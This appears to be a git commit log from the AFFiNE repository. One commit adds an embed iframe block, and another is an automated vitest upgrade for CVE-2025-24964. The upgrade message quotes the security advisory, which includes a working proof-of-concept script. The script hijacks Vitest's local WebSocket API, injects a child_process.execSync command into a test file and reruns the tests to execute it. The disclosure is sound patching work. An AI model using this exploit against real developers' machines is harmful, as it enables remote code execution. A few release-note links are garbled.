donteatfriedrice
d2c62602a4
feat(editor): support embed iframe block ( #10740 )
...
To close:
[BS-2660](https://linear.app/affine-design/issue/BS-2660/slash-menu-支持-iframe-embed )
[BS-2661](https://linear.app/affine-design/issue/BS-2661/iframe-embed-block-model-and-block-component )
[BS-2662](https://linear.app/affine-design/issue/BS-2662/iframe-embed-block-toolbar )
[BS-2768](https://linear.app/affine-design/issue/BS-2768/iframe-embed-block-loading-和-error-态 )
[BS-2670](https://linear.app/affine-design/issue/BS-2670/iframe-embed-block-导出 )
# PR Description
# Add Embed Iframe Block Support
## Overview
This PR introduces a new `EmbedIframeBlock` to enhance content embedding capabilities within our editor. This block allows users to seamlessly embed external content from various providers (Google Drive, Spotify, etc.) directly into their docs.
## New Blocks
### EmbedIframeBlock
The core block that renders embedded iframe content. This block:
* Displays external content within a secure iframe
* Handles loading states with visual feedback
* Provides error handling with edit and retry options
* Supports customization of width, height, and other iframe attributes
### Supporting Components
* **EmbedIframeCreateModal**: Modal interface for creating new iframe embeds
* **EmbedIframeLinkEditPopup**: UI for editing existing embed links
* **EmbedIframeLoadingCard**: Visual feedback during content loading
* **EmbedIframeErrorCard**: Error handling with retry functionality
## New Store Extensions
### EmbedIframeConfigExtension
This extension provides configuration for different embed providers:
```typescript
/**
* The options for the iframe
* @example
* {
* defaultWidth: '100%',
* defaultHeight: '152px',
* style: 'border-radius: 8px;',
* allow: 'autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture',
* }
* =>
* <iframe
* width="100%"
* height="152px"
* style="border-radius: 8px;"
* allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"
* ></iframe>
*/
export type IframeOptions = {
defaultWidth?: string;
defaultHeight?: string;
style?: string;
referrerpolicy?: string;
scrolling?: boolean;
allow?: string;
allowFullscreen?: boolean;
};
/**
* Define the config of an embed iframe block provider
*/
export type EmbedIframeConfig = {
/**
* The name of the embed iframe block provider
*/
name: string;
/**
* The function to match the url
*/
match: (url: string) => boolean;
/**
* The function to build the oEmbed URL for fetching embed data
*/
buildOEmbedUrl: (url: string) => string | undefined;
/**
* Use oEmbed URL directly as iframe src without fetching oEmbed data
*/
useOEmbedUrlDirectly: boolean;
/**
* The options for the iframe
*/
options?: IframeOptions;
};
export const EmbedIframeConfigIdentifier =
createIdentifier<EmbedIframeConfig>('EmbedIframeConfig');
export function EmbedIframeConfigExtension(
config: EmbedIframeConfig
): ExtensionType & {
identifier: ServiceIdentifier<EmbedIframeConfig>;
} {
const identifier = EmbedIframeConfigIdentifier(config.name);
return {
setup: di => {
di.addImpl(identifier, () => config);
},
identifier,
};
}
```
**example:**
```typescript
// blocksuite/affine/blocks/block-embed/src/embed-iframe-block/configs/providers/spotify.ts
const SPOTIFY_DEFAULT_WIDTH = '100%';
const SPOTIFY_DEFAULT_HEIGHT = '152px';
// https://developer.spotify.com/documentation/embeds/reference/oembed
const spotifyEndpoint = 'https://open.spotify.com/oembed ';
const spotifyUrlValidationOptions: EmbedIframeUrlValidationOptions = {
protocols: ['https:'],
hostnames: ['open.spotify.com', 'spotify.link'],
};
const spotifyConfig = {
name: 'spotify',
match: (url: string) =>
validateEmbedIframeUrl(url, spotifyUrlValidationOptions),
buildOEmbedUrl: (url: string) => {
const match = validateEmbedIframeUrl(url, spotifyUrlValidationOptions);
if (!match) {
return undefined;
}
const encodedUrl = encodeURIComponent(url);
const oEmbedUrl = `${spotifyEndpoint}?url=${encodedUrl}`;
return oEmbedUrl;
},
useOEmbedUrlDirectly: false,
options: {
defaultWidth: SPOTIFY_DEFAULT_WIDTH,
defaultHeight: SPOTIFY_DEFAULT_HEIGHT,
allow:
'autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture',
style: 'border-radius: 12px;',
allowFullscreen: true,
},
};
// add the config extension to store
export const SpotifyEmbedConfig = EmbedIframeConfigExtension(spotifyConfig);
```
**Key features:**
* Provider registration and discovery
* URL pattern matching
* Provider-specific embed options (width, height, features)
### EmbedIframeService
This service provides abilities to handle URL validation, data fetching, and block creation
**Type:**
```typescript
/**
* Service for handling embeddable URLs
*/
export interface EmbedIframeProvider {
/**
* Check if a URL can be embedded
* @param url URL to check
* @returns true if the URL can be embedded, false otherwise
*/
canEmbed: (url: string) => boolean;
/**
* Build a API URL for fetching embed data
* @param url URL to build API URL
* @returns API URL if the URL can be embedded, undefined otherwise
*/
buildOEmbedUrl: (url: string) => string | undefined;
/**
* Get the embed iframe config
* @param url URL to get embed iframe config
* @returns Embed iframe config if the URL can be embedded, undefined otherwise
*/
getConfig: (url: string) => EmbedIframeConfig | undefined;
/**
* Get embed iframe data
* @param url URL to get embed iframe data
* @returns Embed iframe data if the URL can be embedded, undefined otherwise
*/
getEmbedIframeData: (url: string) => Promise<EmbedIframeData | null>;
/**
* Parse an embeddable URL and add an EmbedIframeBlock to doc
* @param url Original url to embed
* @param parentId Parent block ID
* @param index Optional index to insert at
* @returns Created block id if successful, undefined if the URL cannot be embedded
*/
addEmbedIframeBlock: (
props: Partial<EmbedIframeBlockProps>,
parentId: string,
index?: number
) => string | undefined;
}
```
**Implemetation:**
```typescript
export class EmbedIframeService
extends StoreExtension
implements EmbedIframeProvider
{
static override key = 'embed-iframe-service';
private readonly _configs: EmbedIframeConfig[];
constructor(store: Store) {
super(store);
this._configs = Array.from(
store.provider.getAll(EmbedIframeConfigIdentifier).values()
);
}
canEmbed = (url: string): boolean => {
return this._configs.some(config => config.match(url));
};
buildOEmbedUrl = (url: string): string | undefined => {
return this._configs.find(config => config.match(url))?.buildOEmbedUrl(url);
};
getConfig = (url: string): EmbedIframeConfig | undefined => {
return this._configs.find(config => config.match(url));
};
getEmbedIframeData = async (
url: string,
signal?: AbortSignal
): Promise<EmbedIframeData | null> => {
try {
const config = this._configs.find(config => config.match(url));
if (!config) {
return null;
}
const oEmbedUrl = config.buildOEmbedUrl(url);
if (!oEmbedUrl) {
return null;
}
// if the config useOEmbedUrlDirectly is true, return the url directly as iframe_url
if (config.useOEmbedUrlDirectly) {
return {
iframe_url: oEmbedUrl,
};
}
// otherwise, fetch the oEmbed data
const response = await fetch(oEmbedUrl, { signal });
if (!response.ok) {
console.warn(
`Failed to fetch oEmbed data: ${response.status} ${response.statusText}`
);
return null;
}
const data = await response.json();
return data as EmbedIframeData;
} catch (error) {
if (error instanceof Error && error.name !== 'AbortError') {
console.error('Error fetching embed iframe data:', error);
}
return null;
}
};
addEmbedIframeBlock = (
props: Partial<EmbedIframeBlockProps>,
parentId: string,
index?: number
): string | undefined => {
const blockId = this.store.addBlock(
'affine:embed-iframe',
props,
parentId,
index
);
return blockId;
};
}
```
**Usage:**
```typescript
// Usage example
const embedIframeService = this.std.get(EmbedIframeService);
// Check if a URL can be embedded
const canEmbed = embedIframeService.canEmbed(url);
// Get embed data for a URL
const embedData = await embedIframeService.getEmbedIframeData(url);
// Add an embed iframe block to the document
const block = embedIframeService.addEmbedIframeBlock({
url,
iframeUrl: embedData.iframe_url,
title: embedData.title,
description: embedData.description
}, parentId, index);
```
**Key features:**
* URL validation and transformation
* Provider-specific data fetching
* Block creation and management
## Adaptations
### Toolbar Integration
Added toolbar actions for embedded content:
* Copy link
* Edit embed title and description
* Toggle between inline/card views
* Add caption
* And more
### Slash Menu Integration
Added a new slash menu option for embedding content:
* Embed item for inserting embed iframe block
* Conditional rendering based on feature flags
### Adapters
Implemented adapters for various formats:
* **HTML Adapter**: Exports embed original urls as html links
* **Markdown Adapter**: Exports embed original urls as markdown links
* **Plain Text Adapter**: Exports embed original urls as link text
## To Be Continued:
- [ ] **UI Optimization**
- [ ] **Edgeless Mode Support**
- [ ] **Mobile Support**
2025-03-13 04:11:46 +00:00
renovate
75c4291325
chore: bump up vitest version to v3.0.5 [SECURITY] ( #9938 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest )) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.2/3.0.5 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
### GitHub Vulnerability Alerts
#### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq )
### Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
### Details
When [`api` option](https://vitest.dev/config/#api ) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
9a581e1c43/packages/vitest/src/api/setup.ts (L32-L46)9a581e1c43/packages/vitest/src/api/setup.ts (L66-L76)https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
```
### Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
---
### Release Notes
<details>
<summary>vitest-dev/vitest (vitest)</summary>
### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
##### 🚀 Features
- **ui**: Insert message "no tests found" in ui - by [@​DevJoaoLopes](https://redirect.github.com/DevJoaoLopes ) in [https://github.com/vitest-dev/vitest/issues/7366 ](https://redirect.github.com/vitest-dev/vitest/issues/7366 ) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd )
##### 🐞 Bug Fixes
- Validate websocket request - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7317 ](https://redirect.github.com/vitest-dev/vitest/issues/7317 ) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34 )
- Don't toggle cli cursor on non-TTY - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7336 ](https://redirect.github.com/vitest-dev/vitest/issues/7336 ) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69 )
- **vite-node**: Differentiate file url with hash and query - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7365 ](https://redirect.github.com/vitest-dev/vitest/issues/7365 ) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
##### 🐞 Bug Fixes
- Filter projects eagerly during config resolution - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7313 ](https://redirect.github.com/vitest-dev/vitest/issues/7313 ) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d )
- Apply `development|production` condition on Vites 6 by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) ([#​7301](https://redirect.github.com/vitest-dev/vitest/issues/7301 )) [<samp>(ef146)</samp>](ef1464fc7bhttps://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7340 ](https://redirect.github.com/vitest-dev/vitest/issues/7340 ) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2 )
- **deps**: Update all non-major dependencies - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7297 ](https://redirect.github.com/vitest-dev/vitest/issues/7297 ) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae )
- **runner**: Timeout long sync hook - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7289 ](https://redirect.github.com/vitest-dev/vitest/issues/7289 ) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c )
- **typechecking**: Support typechecking parsing with Vite 6 - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7335 ](https://redirect.github.com/vitest-dev/vitest/issues/7335 ) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9 )
- **types**: Fix public types - by [@​mrginglymus](https://redirect.github.com/mrginglymus ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7328 ](https://redirect.github.com/vitest-dev/vitest/issues/7328 ) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
##### 🐞 Bug Fixes
- **browser**:
- Don't throw a validation error if v8 coverage is used with filtered instances - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7306 ](https://redirect.github.com/vitest-dev/vitest/issues/7306 ) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2 )
- Don't fail when running --browser.headless if the browser projest is part of the workspace - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7311 ](https://redirect.github.com/vitest-dev/vitest/issues/7311 ) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56 )
##### 🏎 Performance
- **reporters**: Update summary only when needed - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7291 ](https://redirect.github.com/vitest-dev/vitest/issues/7291 ) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 09:12:59 +00:00
